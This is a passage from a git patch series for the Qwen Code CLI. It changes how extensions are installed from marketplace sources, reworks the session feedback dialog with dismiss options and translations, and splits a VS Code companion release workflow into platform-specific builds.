}); }); }); diff --git a/packages/core/src/extension/marketplace.ts b/packages/core/src/extension/marketplace.ts index 35b472683..20b7736ef 100644 --- a/packages/core/src/extension/marketplace.ts +++ b/packages/core/src/extension/marketplace.ts @@ -4,15 +4,14 @@ * SPDX-License-Identifier: Apache-2.0 */ -/** - * This module handles installation of extensions from Claude marketplaces. - * - * A marketplace URL format: marketplace-url:plugin-name - * Example: https://github.com/example/marketplace:my-plugin - */ - import type { ExtensionConfig } from './extensionManager.js'; import type { ExtensionInstallMetadata } from '../config/config.js'; +import type { ClaudeMarketplaceConfig } from './claude-converter.js'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import * as https from 'node:https'; +import { stat } from 'node:fs/promises'; +import { parseGitHubRepoForReleases } from './github.js'; export interface MarketplaceInstallOptions { marketplaceUrl: string; @@ -28,34 +27,242 @@ export interface MarketplaceInstallResult { } /** - * Parse marketplace install source string. - * Format: marketplace-url:plugin-name + * Parse the install source string into repo and optional pluginName. + * Format: : where pluginName is optional + * The colon separator is only treated as a pluginName delimiter when: + * - It's not part of a URL scheme (http://, https://, git@, sso://) + * - It appears after the repo portion */ -export function parseMarketplaceSource(source: string): { - marketplaceSource: string; - pluginName: string; -} | null { - // Check if source contains a colon separator - const lastColonIndex = source.lastIndexOf(':'); - if (lastColonIndex === -1) { - return null; +function parseSourceAndPluginName(source: string): { + repo: string; + pluginName?: string; +} { + // Check if source contains a colon that could be a pluginName separator + // We need to handle URL schemes that contain colons + const urlSchemes = ['http://', 'https://', 'git@', 'sso://']; + + let repoEndIndex = source.length; + let hasPluginName = false; + + // For URLs, find the last colon after the scheme + for (const scheme of urlSchemes) { + if (source.startsWith(scheme)) { + const afterScheme = source.substring(scheme.length); + const lastColonIndex = afterScheme.lastIndexOf(':'); + if (lastColonIndex !== -1) { + // Check if what follows the colon looks like a pluginName (not a port number or path) + const potentialPluginName = afterScheme.substring(lastColonIndex + 1); + // Plugin name should not contain '/' and should not be a number (port) + if ( + potentialPluginName && + !potentialPluginName.includes('/') && + !/^\d+/.test(potentialPluginName) + ) { + repoEndIndex = scheme.length + lastColonIndex; + hasPluginName = true; + } + } + break; + } } - // Split at the last colon to separate URL from plugin name - const marketplaceSource = source.substring(0, lastColonIndex); - const pluginName = source.substring(lastColonIndex + 1); - - // Validate that marketplace URL looks like a URL + // For non-URL sources (local paths or owner/repo format) if ( - !marketplaceSource.startsWith('http://') && - !marketplaceSource.startsWith('https://') + repoEndIndex === source.length && + !urlSchemes.some((s) => source.startsWith(s)) ) { - return null; + const lastColonIndex = source.lastIndexOf(':'); + // On Windows, avoid treating drive letter as pluginName separator (e.g., C:\path) + if (lastColonIndex > 1) { + repoEndIndex = lastColonIndex; + hasPluginName = true; + } } - if (!pluginName || pluginName.length === 0) { - return null; + if (hasPluginName) { + return { + repo: source.substring(0, repoEndIndex), + pluginName: source.substring(repoEndIndex + 1), + }; } - return { marketplaceSource, pluginName }; + return { repo: source }; +} + +/** + * Check if a string matches the owner/repo format (e.g., "anthropics/skills") + */ +function isOwnerRepoFormat(source: string): boolean { + // owner/repo format: word/word, no slashes before, no protocol + const ownerRepoRegex = /^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/; + return ownerRepoRegex.test(source); +} + +/** + * Convert owner/repo format to GitHub HTTPS URL + */ +function convertOwnerRepoToGitHubUrl(ownerRepo: string): string { + return `https://github.com/${ownerRepo}`; +} + +/** + * Check if source is a git URL + */ +function isGitUrl(source: string): boolean { + return ( + source.startsWith('http://') || + source.startsWith('https://') || + source.startsWith('git@') || + source.startsWith('sso://') + ); +} + +/** + * Fetch content from a URL + */ +function fetchUrl( + url: string, + headers: Record, +): Promise { + return new Promise((resolve) => { + https + .get(url, { headers }, (res) => { + if (res.statusCode !== 200) { + resolve(null); + return; + } + const chunks: Buffer[] = []; + res.on('data', (chunk) => chunks.push(chunk)); + res.on('end', () => { + resolve(Buffer.concat(chunks).toString()); + }); + }) + .on('error', () => resolve(null)); + }); +} + +/** + * Fetch marketplace config from GitHub repository. + * Primary: GitHub API (supports private repos with token) + * Fallback: raw.githubusercontent.com (no rate limit for public repos) + */ +async function fetchGitHubMarketplaceConfig( + owner: string, + repo: string, +): Promise { + const token = process.env['GITHUB_TOKEN']; + + // Primary: GitHub API (works for private repos, but has rate limits) + const apiUrl = `https://api.github.com/repos/${owner}/${repo}/contents/.claude-plugin/marketplace.json`; + const apiHeaders: Record = { + 'User-Agent': 'qwen-code', + Accept: 'application/vnd.github.v3.raw', + }; + if (token) { + apiHeaders['Authorization'] = `token ${token}`; + } + + let content = await fetchUrl(apiUrl, apiHeaders); + + // Fallback: raw.githubusercontent.com (no rate limit, public repos only) + if (!content) { + const rawUrl = `https://raw.githubusercontent.com/${owner}/${repo}/HEAD/.claude-plugin/marketplace.json`; + const rawHeaders: Record = { + 'User-Agent': 'qwen-code', + }; + content = await fetchUrl(rawUrl, rawHeaders); + } + + if (!content) { + return null; + } + + try { + return JSON.parse(content) as ClaudeMarketplaceConfig; + } catch { + return null; + } +} + +/** + * Read marketplace config from local path + */ +async function readLocalMarketplaceConfig( + localPath: string, +): Promise { + const marketplaceConfigPath = path.join( + localPath, + '.claude-plugin', + 'marketplace.json', + ); + try { + const content = await fs.promises.readFile(marketplaceConfigPath, 'utf-8'); + return JSON.parse(content) as ClaudeMarketplaceConfig; + } catch { + return null; + } +} + +export async function parseInstallSource( + source: string, +): Promise { + // Step 1: Parse source into repo and optional pluginName + const { repo, pluginName } = parseSourceAndPluginName(source); + + let installMetadata: ExtensionInstallMetadata; + let repoSource = repo; + let marketplaceConfig: ClaudeMarketplaceConfig | null = null; + + // Step 2: Determine repo type and convert owner/repo format if needed + if (isGitUrl(repo)) { + // Git URL (http://, https://, git@, sso://) + installMetadata = { + source: repoSource, + type: 'git', + pluginName, + }; + + // Try to fetch marketplace config from GitHub + try { + const { owner, repo: repoName } = parseGitHubRepoForReleases(repoSource); + marketplaceConfig = await fetchGitHubMarketplaceConfig(owner, repoName); + } catch { + // Not a valid GitHub URL or failed to fetch, continue without marketplace config + } + } else if (isOwnerRepoFormat(repo)) { + // owner/repo format - convert to GitHub URL + repoSource = convertOwnerRepoToGitHubUrl(repo); + installMetadata = { + source: repoSource, + type: 'git', + pluginName, + }; + + // Try to fetch marketplace config from GitHub + const [owner, repoName] = repo.split('/'); + marketplaceConfig = await fetchGitHubMarketplaceConfig(owner, repoName); + } else { + // Local path + try { + await stat(repo); + installMetadata = { + source: repo, + type: 'local', + pluginName, + }; + + // Try to read marketplace config from local path + marketplaceConfig = await readLocalMarketplaceConfig(repo); + } catch { + throw new Error(`Install source not found: ${repo}`); + } + } + + // Step 3: If marketplace config exists, update type to marketplace + if (marketplaceConfig) { + installMetadata.type = 'marketplace'; + installMetadata.marketplaceConfig = marketplaceConfig; + } + + return installMetadata; } From 63e24301f847a9fdebbf96a19ee570eb7dc05822 Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Fri, 23 Jan 2026 16:41:23 +0800 Subject: [PATCH 22/79] fix copy error --- docs/users/extension/introduction.md | 18 +++++++++++++++--- .../core/src/extension/claude-converter.ts | 6 ++++++ 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/docs/users/extension/introduction.md b/docs/users/extension/introduction.md index 2717150db..a0f39d957 100644 --- a/docs/users/extension/introduction.md +++ b/docs/users/extension/introduction.md @@ -34,10 +34,20 @@ You can install an extension using `qwen extensions install` from multiple sourc #### From Claude Code Marketplace -Qwen Code also supports plugins from the [Claude Code Marketplace](https://claudemarketplaces.com/). Choose a marketplace and install a plugin from one marketplace through the format: +Qwen Code also supports plugins from the [Claude Code Marketplace](https://claudemarketplaces.com/). Install from a marketplace and choose a plugin: ```bash -qwen extensions install : +qwen extensions install +# or +qwen extensions install +``` + +If you want to install a specific pulgin, you can use the format with plugin name: + +```bash +qwen extensions install : +# or +qwen extensions install : ``` For example, to install the `prompts.chat` plugin from the [f/awesome-chatgpt-prompts](https://claudemarketplaces.com/plugins/f-awesome-chatgpt-prompts) marketplace: @@ -74,7 +84,9 @@ This command opens the respective marketplace in your default browser, allowing Qwen Code fully supports extensions from the [Gemini CLI Extensions Gallery](https://geminicli.com/extensions/). Simply install them using the git URL: ```bash -qwen extensions install +qwen extensions install +# or +qwen extensions install / ``` Gemini extensions are automatically converted to Qwen Code format during installation: diff --git a/packages/core/src/extension/claude-converter.ts b/packages/core/src/extension/claude-converter.ts index 7b927c64f..224a22b11 100644 --- a/packages/core/src/extension/claude-converter.ts +++ b/packages/core/src/extension/claude-converter.ts @@ -709,6 +709,12 @@ async function resolvePluginSource( throw new Error(`Plugin source not found at ${sourcePath}`); } + // If source path equals marketplace dir (source is '.' or ''), + // return marketplaceDir directly to avoid copying to subdirectory of self + if (path.resolve(sourcePath) === path.resolve(marketplaceDir)) { + return marketplaceDir; + } + // Copy to plugin directory await fs.promises.cp(sourcePath, pluginDir, { recursive: true }); return pluginDir; From 6327e35a14e4d63423303f8c51a61a3d6cb9adf8 Mon Sep 17 00:00:00 2001 From: DragonnZhang <731557579@qq.com> Date: Fri, 23 Jan 2026 16:12:16 +0800 Subject: [PATCH 23/79] feat: implement persistent feedback prompting with temporary dismissal options Add 'Fine' and 'Dismiss' options to feedback dialogs that allow temporary dismissal without permanently closing the feedback request. Only numerical ratings (0, 1, 2, 3) will permanently close feedback dialogs, while all other inputs result in temporary dismissal with persistent re-prompting. This ensures feedback collection reliability while respecting user workflow by allowing users to temporarily dismiss prompts when busy and providing feedback when ready. Co-Authored-By: Claude Sonnet 4.5 --- packages/cli/src/i18n/locales/de.js | 2 + packages/cli/src/i18n/locales/en.js | 2 + packages/cli/src/i18n/locales/ru.js | 2 + packages/cli/src/i18n/locales/zh.js | 2 + packages/cli/src/ui/AppContainer.tsx | 3 + packages/cli/src/ui/FeedbackDialog.tsx | 50 +++++++++------ .../src/ui/components/InputPrompt.test.tsx | 5 ++ .../cli/src/ui/components/InputPrompt.tsx | 19 ++++-- .../cli/src/ui/contexts/UIActionsContext.tsx | 1 + .../cli/src/ui/hooks/useFeedbackDialog.ts | 62 +++++++++++++------ 10 files changed, 106 insertions(+), 42 deletions(-) diff --git a/packages/cli/src/i18n/locales/de.js b/packages/cli/src/i18n/locales/de.js index 1dc124c3f..d6f53f65d 100644 --- a/packages/cli/src/i18n/locales/de.js +++ b/packages/cli/src/i18n/locales/de.js @@ -298,7 +298,9 @@ export default { 'How is Qwen doing this session? (optional)': 'Wie macht sich Qwen in dieser Sitzung? (optional)', Bad: 'Schlecht', + Fine: 'In Ordnung', Good: 'Gut', + Dismiss: 'Ignorieren', 'Not Sure Yet': 'Noch nicht sicher', 'Any other key': 'Beliebige andere Taste', 'Disable Loading Phrases': 'Ladesprüche deaktivieren', diff --git a/packages/cli/src/i18n/locales/en.js b/packages/cli/src/i18n/locales/en.js index 929ffc904..5e28a5e8e 100644 --- a/packages/cli/src/i18n/locales/en.js +++ b/packages/cli/src/i18n/locales/en.js @@ -315,7 +315,9 @@ export default { 'How is Qwen doing this session? (optional)': 'How is Qwen doing this session? (optional)', Bad: 'Bad', + Fine: 'Fine', Good: 'Good', + Dismiss: 'Dismiss', 'Not Sure Yet': 'Not Sure Yet', 'Any other key': 'Any other key', 'Disable Loading Phrases': 'Disable Loading Phrases', diff --git a/packages/cli/src/i18n/locales/ru.js b/packages/cli/src/i18n/locales/ru.js index c5108ec5d..76f5ef1a4 100644 --- a/packages/cli/src/i18n/locales/ru.js +++ b/packages/cli/src/i18n/locales/ru.js @@ -319,7 +319,9 @@ export default { 'How is Qwen doing this session? (optional)': 'Как дела у Qwen в этой сессии? (необязательно)', Bad: 'Плохо', + Fine: 'Нормально', Good: 'Хорошо', + Dismiss: 'Отклонить', 'Not Sure Yet': 'Пока не уверен', 'Any other key': 'Любая другая клавиша', 'Disable Loading Phrases': 'Отключить фразы при загрузке', diff --git a/packages/cli/src/i18n/locales/zh.js b/packages/cli/src/i18n/locales/zh.js index d6603207c..57a4cda60 100644 --- a/packages/cli/src/i18n/locales/zh.js +++ b/packages/cli/src/i18n/locales/zh.js @@ -305,7 +305,9 @@ export default { 'Enable User Feedback': '启用用户反馈', 'How is Qwen doing this session? (optional)': 'Qwen 这次表现如何？（可选）', Bad: '不满意', + Fine: '还行', Good: '满意', + Dismiss: '忽略', 'Not Sure Yet': '暂不评价', 'Any other key': '任意其他键', 'Disable Loading Phrases': '禁用加载短语', diff --git a/packages/cli/src/ui/AppContainer.tsx b/packages/cli/src/ui/AppContainer.tsx index c1bd7b80c..82ab66dd6 100644 --- a/packages/cli/src/ui/AppContainer.tsx +++ b/packages/cli/src/ui/AppContainer.tsx @@ -1326,6 +1326,7 @@ export const AppContainer = (props: AppContainerProps) => { isFeedbackDialogOpen, openFeedbackDialog, closeFeedbackDialog, + temporaryCloseFeedbackDialog, submitFeedback, } = useFeedbackDialog({ config, @@ -1571,6 +1572,7 @@ export const AppContainer = (props: AppContainerProps) => { // Feedback dialog openFeedbackDialog, closeFeedbackDialog, + temporaryCloseFeedbackDialog, submitFeedback, }), [ @@ -1611,6 +1613,7 @@ export const AppContainer = (props: AppContainerProps) => { // Feedback dialog openFeedbackDialog, closeFeedbackDialog, + temporaryCloseFeedbackDialog, submitFeedback, ], ); diff --git a/packages/cli/src/ui/FeedbackDialog.tsx b/packages/cli/src/ui/FeedbackDialog.tsx index 7791dfb88..ec2bf3c40 100644 --- a/packages/cli/src/ui/FeedbackDialog.tsx +++ b/packages/cli/src/ui/FeedbackDialog.tsx @@ -5,19 +5,21 @@ import { useUIActions } from './contexts/UIActionsContext.js'; import { useUIState } from './contexts/UIStateContext.js'; import { useKeypress } from './hooks/useKeypress.js'; -const FEEDBACK_OPTIONS = { - GOOD: 1, - BAD: 2, - NOT_SURE: 3, +export const FEEDBACK_OPTIONS = { + BAD: 1, + FINE: 2, + GOOD: 3, + DISMISS: 0, } as const; const FEEDBACK_OPTION_KEYS = { - [FEEDBACK_OPTIONS.GOOD]: '1', - [FEEDBACK_OPTIONS.BAD]: '2', - [FEEDBACK_OPTIONS.NOT_SURE]: 'any', + [FEEDBACK_OPTIONS.BAD]: '1', + [FEEDBACK_OPTIONS.FINE]: '2', + [FEEDBACK_OPTIONS.GOOD]: '3', + [FEEDBACK_OPTIONS.DISMISS]: '0', } as const; -export const FEEDBACK_DIALOG_KEYS = ['1', '2'] as const; +export const FEEDBACK_DIALOG_KEYS = ['1', '2', '3', '0'] as const; export const FeedbackDialog: React.FC = () => { const uiState = useUIState(); @@ -25,15 +27,19 @@ export const FeedbackDialog: React.FC = () => { useKeypress( (key) => { - if (key.name === FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.GOOD]) { - uiActions.submitFeedback(FEEDBACK_OPTIONS.GOOD); - } else if (key.name === FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.BAD]) { + // Handle keys 0-3: permanent close with feedback/dismiss + if (key.name === FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.BAD]) { uiActions.submitFeedback(FEEDBACK_OPTIONS.BAD); + } else if (key.name === FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.FINE]) { + uiActions.submitFeedback(FEEDBACK_OPTIONS.FINE); + } else if (key.name === FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.GOOD]) { + uiActions.submitFeedback(FEEDBACK_OPTIONS.GOOD); + } else if (key.name === FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.DISMISS]) { + uiActions.submitFeedback(FEEDBACK_OPTIONS.DISMISS); } else { - uiActions.submitFeedback(FEEDBACK_OPTIONS.NOT_SURE); + // Handle other keys: temporary close + uiActions.temporaryCloseFeedbackDialog(); } - - uiActions.closeFeedbackDialog(); }, { isActive: uiState.isFeedbackDialogOpen }, ); @@ -45,16 +51,24 @@ export const FeedbackDialog: React.FC = () => { {t('How is Qwen doing this session? (optional)')} + {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.BAD]}: + {t('Bad')} + + + {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.FINE]}:{' '} + + {t('Fine')} + {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.GOOD]}:{' '} {t('Good')} - {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.BAD]}: - {t('Bad')} + + {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.DISMISS]}:{' '} + + {t('Dismiss')} - {t('Any other key')}: - {t('Not Sure Yet')} ); diff --git a/packages/cli/src/ui/components/InputPrompt.test.tsx b/packages/cli/src/ui/components/InputPrompt.test.tsx index de4cd1dee..584dc15f6 100644 --- a/packages/cli/src/ui/components/InputPrompt.test.tsx +++ b/packages/cli/src/ui/components/InputPrompt.test.tsx @@ -36,6 +36,11 @@ vi.mock('../utils/clipboardUtils.js'); vi.mock('../contexts/UIStateContext.js', () => ({ useUIState: vi.fn(() => ({ isFeedbackDialogOpen: false })), })); +vi.mock('../contexts/UIActionsContext.js', () => ({ + useUIActions: vi.fn(() => ({ + temporaryCloseFeedbackDialog: vi.fn(), + })), +})); const mockSlashCommands: SlashCommand[] = [ { diff --git a/packages/cli/src/ui/components/InputPrompt.tsx b/packages/cli/src/ui/components/InputPrompt.tsx index 1d46d03ab..0e3c43806 100644 --- a/packages/cli/src/ui/components/InputPrompt.tsx +++ b/packages/cli/src/ui/components/InputPrompt.tsx @@ -37,6 +37,7 @@ import * as path from 'node:path'; import { SCREEN_READER_USER_PREFIX } from '../textConstants.js'; import { useShellFocusState } from '../contexts/ShellFocusContext.js'; import { useUIState } from '../contexts/UIStateContext.js'; +import { useUIActions } from '../contexts/UIActionsContext.js'; import { FEEDBACK_DIALOG_KEYS } from '../FeedbackDialog.js'; export interface InputPromptProps { buffer: TextBuffer; @@ -109,6 +110,7 @@ export const InputPrompt: React.FC = ({ }) => { const isShellFocused = useShellFocusState(); const uiState = useUIState(); + const uiActions = useUIActions(); const [justNavigatedHistory, setJustNavigatedHistory] = useState(false); const [escPressCount, setEscPressCount] = useState(0); const [showEscapePrompt, setShowEscapePrompt] = useState(false); @@ -337,12 +339,16 @@ export const InputPrompt: React.FC = ({ return; } - // Intercept feedback dialog option keys (1, 2) when dialog is open - if ( - uiState.isFeedbackDialogOpen && - (FEEDBACK_DIALOG_KEYS as readonly string[]).includes(key.name) - ) { - return; + // Handle feedback dialog keyboard interactions when dialog is open + if (uiState.isFeedbackDialogOpen) { + // If it's one of the feedback option keys (1-4), let FeedbackDialog handle it + if ((FEEDBACK_DIALOG_KEYS as readonly string[]).includes(key.name)) { + return; + } else { + // For any other key, close feedback dialog temporarily and continue with normal processing + uiActions.temporaryCloseFeedbackDialog(); + // Continue processing the key for normal input handling + } } // Reset ESC count and hide prompt on any non-ESC key @@ -712,6 +718,7 @@ export const InputPrompt: React.FC = ({ onToggleShortcuts, showShortcuts, uiState, + uiActions, ], ); diff --git a/packages/cli/src/ui/contexts/UIActionsContext.tsx b/packages/cli/src/ui/contexts/UIActionsContext.tsx index a1e7f3b35..17d74dd4e 100644 --- a/packages/cli/src/ui/contexts/UIActionsContext.tsx +++ b/packages/cli/src/ui/contexts/UIActionsContext.tsx @@ -71,6 +71,7 @@ export interface UIActions { // Feedback dialog openFeedbackDialog: () => void; closeFeedbackDialog: () => void; + temporaryCloseFeedbackDialog: () => void; submitFeedback: (rating: number) => void; } diff --git a/packages/cli/src/ui/hooks/useFeedbackDialog.ts b/packages/cli/src/ui/hooks/useFeedbackDialog.ts index 18865b1f0..432d6d15a 100644 --- a/packages/cli/src/ui/hooks/useFeedbackDialog.ts +++ b/packages/cli/src/ui/hooks/useFeedbackDialog.ts @@ -15,6 +15,7 @@ import { USER_SETTINGS_PATH, } from '../../config/settings.js'; import type { SessionStatsState } from '../contexts/SessionContext.js'; +import { FEEDBACK_OPTIONS } from '../FeedbackDialog.js'; import stripJsonComments from 'strip-json-comments'; const FEEDBACK_SHOW_PROBABILITY = 0.25; // 25% probability of showing feedback dialog @@ -96,37 +97,48 @@ export const useFeedbackDialog = ({ }: UseFeedbackDialogProps) => { // Feedback dialog state const [isFeedbackDialogOpen, setIsFeedbackDialogOpen] = useState(false); + const [isFeedbackDismissedTemporarily, setIsFeedbackDismissedTemporarily] = + useState(false); const openFeedbackDialog = useCallback(() => { setIsFeedbackDialogOpen(true); - - // Record the timestamp when feedback dialog is shown (fire and forget) - settings.setValue( - SettingScope.User, - 'ui.feedbackLastShownTimestamp', - Date.now(), - ); - }, [settings]); + }, []); const closeFeedbackDialog = useCallback( () => setIsFeedbackDialogOpen(false), [], ); + const temporaryCloseFeedbackDialog = useCallback(() => { + setIsFeedbackDialogOpen(false); + setIsFeedbackDismissedTemporarily(true); + }, []); + const submitFeedback = useCallback( (rating: number) => { - // Create and log the feedback event - const feedbackEvent = new UserFeedbackEvent( - sessionStats.sessionId, - rating as UserFeedbackRating, - config.getModel(), - config.getApprovalMode(), - ); + // Only create and log feedback event for ratings 1-3 (BAD, FINE, GOOD) + // Rating 0 (DISMISS) should not trigger any telemetry + if (rating >= FEEDBACK_OPTIONS.BAD && rating <= FEEDBACK_OPTIONS.GOOD) { + const feedbackEvent = new UserFeedbackEvent( + sessionStats.sessionId, + rating as UserFeedbackRating, + config.getModel(), + config.getApprovalMode(), + ); + + logUserFeedback(config, feedbackEvent); + + // Record the timestamp when feedback dialog is submitted + settings.setValue( + SettingScope.User, + 'ui.feedbackLastShownTimestamp', + Date.now(), + ); + } - logUserFeedback(config, feedbackEvent); closeFeedbackDialog(); }, - [config, sessionStats, closeFeedbackDialog], + [closeFeedbackDialog, sessionStats.sessionId, config, settings], ); useEffect(() => { @@ -140,13 +152,15 @@ export const useFeedbackDialog = ({ // 5. Random chance (25% probability) // 6. Meets minimum requirements (tool calls > 10 OR user messages > 5) // 7. Fatigue mechanism allows showing (not shown recently across sessions) + // 8. Not temporarily dismissed if ( config.getAuthType() !== AuthType.QWEN_OAUTH || !config.getUsageStatisticsEnabled() || settings.merged.ui?.enableUserFeedback === false || !lastMessageIsAIResponse(history) || Math.random() > FEEDBACK_SHOW_PROBABILITY || - !meetsMinimumSessionRequirements(sessionStats) + !meetsMinimumSessionRequirements(sessionStats) || + isFeedbackDismissedTemporarily ) { return; } @@ -164,15 +178,27 @@ export const useFeedbackDialog = ({ history, sessionStats, isFeedbackDialogOpen, + isFeedbackDismissedTemporarily, openFeedbackDialog, settings.merged.ui?.enableUserFeedback, config, ]); + // Reset temporary dismissal when a new AI response starts streaming + useEffect(() => { + if ( + streamingState === StreamingState.Responding && + isFeedbackDismissedTemporarily + ) { + setIsFeedbackDismissedTemporarily(false); + } + }, [streamingState, isFeedbackDismissedTemporarily]); + return { isFeedbackDialogOpen, openFeedbackDialog, closeFeedbackDialog, + temporaryCloseFeedbackDialog, submitFeedback, }; }; From 4c8414488f34d90dc23da0cb84b4e7ce14801b73 Mon Sep 17 00:00:00 2001 From: DragonnZhang <731557579@qq.com> Date: Fri, 23 Jan 2026 18:35:05 +0800 Subject: [PATCH 24/79] refactor: reorder feedback options and improve dialog feedback timestamp handling --- packages/cli/src/ui/FeedbackDialog.tsx | 22 +++++++++---------- .../cli/src/ui/hooks/useFeedbackDialog.ts | 18 +++++++-------- 2 files changed, 20 insertions(+), 20 deletions(-) diff --git a/packages/cli/src/ui/FeedbackDialog.tsx b/packages/cli/src/ui/FeedbackDialog.tsx index ec2bf3c40..6482e1592 100644 --- a/packages/cli/src/ui/FeedbackDialog.tsx +++ b/packages/cli/src/ui/FeedbackDialog.tsx @@ -6,16 +6,16 @@ import { useUIState } from './contexts/UIStateContext.js'; import { useKeypress } from './hooks/useKeypress.js'; export const FEEDBACK_OPTIONS = { - BAD: 1, - FINE: 2, - GOOD: 3, + GOOD: 1, + BAD: 2, + FINE: 3, DISMISS: 0, } as const; const FEEDBACK_OPTION_KEYS = { - [FEEDBACK_OPTIONS.BAD]: '1', - [FEEDBACK_OPTIONS.FINE]: '2', - [FEEDBACK_OPTIONS.GOOD]: '3', + [FEEDBACK_OPTIONS.GOOD]: '1', + [FEEDBACK_OPTIONS.BAD]: '2', + [FEEDBACK_OPTIONS.FINE]: '3', [FEEDBACK_OPTIONS.DISMISS]: '0', } as const; @@ -51,6 +51,11 @@ export const FeedbackDialog: React.FC = () => { {t('How is Qwen doing this session? (optional)')} + + {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.GOOD]}:{' '} + + {t('Good')} + {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.BAD]}: {t('Bad')} @@ -59,11 +64,6 @@ export const FeedbackDialog: React.FC = () => { {t('Fine')} - - {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.GOOD]}:{' '} - - {t('Good')} - {FEEDBACK_OPTION_KEYS[FEEDBACK_OPTIONS.DISMISS]}:{' '} diff --git a/packages/cli/src/ui/hooks/useFeedbackDialog.ts b/packages/cli/src/ui/hooks/useFeedbackDialog.ts index 432d6d15a..281d57ea2 100644 --- a/packages/cli/src/ui/hooks/useFeedbackDialog.ts +++ b/packages/cli/src/ui/hooks/useFeedbackDialog.ts @@ -116,9 +116,9 @@ export const useFeedbackDialog = ({ const submitFeedback = useCallback( (rating: number) => { - // Only create and log feedback event for ratings 1-3 (BAD, FINE, GOOD) + // Only create and log feedback event for ratings 1-3 (GOOD, BAD, FINE) // Rating 0 (DISMISS) should not trigger any telemetry - if (rating >= FEEDBACK_OPTIONS.BAD && rating <= FEEDBACK_OPTIONS.GOOD) { + if (rating >= FEEDBACK_OPTIONS.GOOD && rating <= FEEDBACK_OPTIONS.FINE) { const feedbackEvent = new UserFeedbackEvent( sessionStats.sessionId, rating as UserFeedbackRating, @@ -127,15 +127,15 @@ export const useFeedbackDialog = ({ ); logUserFeedback(config, feedbackEvent); - - // Record the timestamp when feedback dialog is submitted - settings.setValue( - SettingScope.User, - 'ui.feedbackLastShownTimestamp', - Date.now(), - ); } + // Record the timestamp when feedback dialog is submitted + settings.setValue( + SettingScope.User, + 'ui.feedbackLastShownTimestamp', + Date.now(), + ); + closeFeedbackDialog(); }, [closeFeedbackDialog, sessionStats.sessionId, config, settings], From 4770324df2714947b8ef223ef0853f955cf917f9 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Sat, 24 Jan 2026 06:25:43 +0800 Subject: [PATCH 25/79] ci(vscode-ide-companion): add platform-specific builds to fix node-pty binary mismatch Build separate VSIXes for each platform to ensure native node-pty binaries match the user's OS, preventing "posix_spawnp failed" errors. --- .../workflows/release-vscode-companion.yml | 230 ++++++++++++++---- .../scripts/prepackage.js | 34 ++- 2 files changed, 207 insertions(+), 57 deletions(-) diff --git a/.github/workflows/release-vscode-companion.yml b/.github/workflows/release-vscode-companion.yml index a942964f0..f7c875d62 100644 --- a/.github/workflows/release-vscode-companion.yml +++ b/.github/workflows/release-vscode-companion.yml @@ -33,16 +33,19 @@ concurrency: cancel-in-progress: false jobs: - release-vscode-companion: + # First job: Determine version and run tests once + prepare: runs-on: 'ubuntu-latest' - environment: - name: 'production-release' - url: '${{ github.server_url }}/${{ github.repository }}/releases/tag/vscode-companion-${{ steps.version.outputs.RELEASE_TAG }}' if: |- ${{ github.repository == 'QwenLM/qwen-code' }} permissions: contents: 'read' - issues: 'write' + outputs: + release_version: '${{ steps.version.outputs.RELEASE_VERSION }}' + release_tag: '${{ steps.version.outputs.RELEASE_TAG }}' + vscode_tag: '${{ steps.version.outputs.VSCODE_TAG }}' + is_preview: '${{ steps.vars.outputs.is_preview }}' + is_dry_run: '${{ steps.vars.outputs.is_dry_run }}' steps: - name: 'Checkout' @@ -82,11 +85,6 @@ jobs: run: |- npm ci - - name: 'Install VSCE and OVSX' - run: |- - npm install -g @vscode/vsce - npm install -g ovsx - - name: 'Get the version' id: 'version' working-directory: 'packages/vscode-ide-companion' @@ -141,67 +139,209 @@ jobs: OPENAI_BASE_URL: '${{ secrets.OPENAI_BASE_URL }}' OPENAI_MODEL: '${{ secrets.OPENAI_MODEL }}' + # Second job: Build platform-specific VSIXes in parallel + build: + needs: 'prepare' + strategy: + fail-fast: false + matrix: + include: + # Platform-specific builds (with node-pty native binaries) + - os: 'ubuntu-latest' + target: 'linux-x64' + universal: false + # macOS 15 (x64): use macos-latest-large + # Endpoint Badge: macos-latest-large, macos-15-large, or macos-15-intel + - os: 'macos-latest-large' + target: 'darwin-x64' + universal: false + # macOS 15 Arm64: use macos-latest + # Endpoint Badge: macos-latest, macos-15, or macos-15-xlarge + - os: 'macos-latest' + target: 'darwin-arm64' + universal: false + - os: 'windows-latest' + target: 'win32-x64' + universal: false + # Universal fallback (without node-pty, uses child_process) + - os: 'ubuntu-latest' + target: '' + universal: true + + runs-on: '${{ matrix.os }}' + permissions: + contents: 'read' + + steps: + - name: 'Checkout' + uses: 'actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8' # ratchet:actions/checkout@v5 + with: + ref: '${{ github.event.inputs.ref || github.sha }}' + fetch-depth: 0 + + - name: 'Setup Node.js' + uses: 'actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020' # ratchet:actions/setup-node@v4 + with: + node-version-file: '.nvmrc' + cache: 'npm' + cache-dependency-path: 'package-lock.json' + + - name: 'Install Dependencies' + env: + NPM_CONFIG_PREFER_OFFLINE: 'true' + run: |- + npm ci + + - name: 'Install VSCE' + run: |- + npm install -g @vscode/vsce + + - name: 'Update package version (for preview releases)' + if: '${{ needs.prepare.outputs.is_preview == ''true'' }}' + working-directory: 'packages/vscode-ide-companion' + env: + RELEASE_VERSION: '${{ needs.prepare.outputs.release_version }}' + shell: 'bash' + run: |- + npm version "${RELEASE_VERSION}" --no-git-tag-version --allow-same-version + - name: 'Prepare VSCode 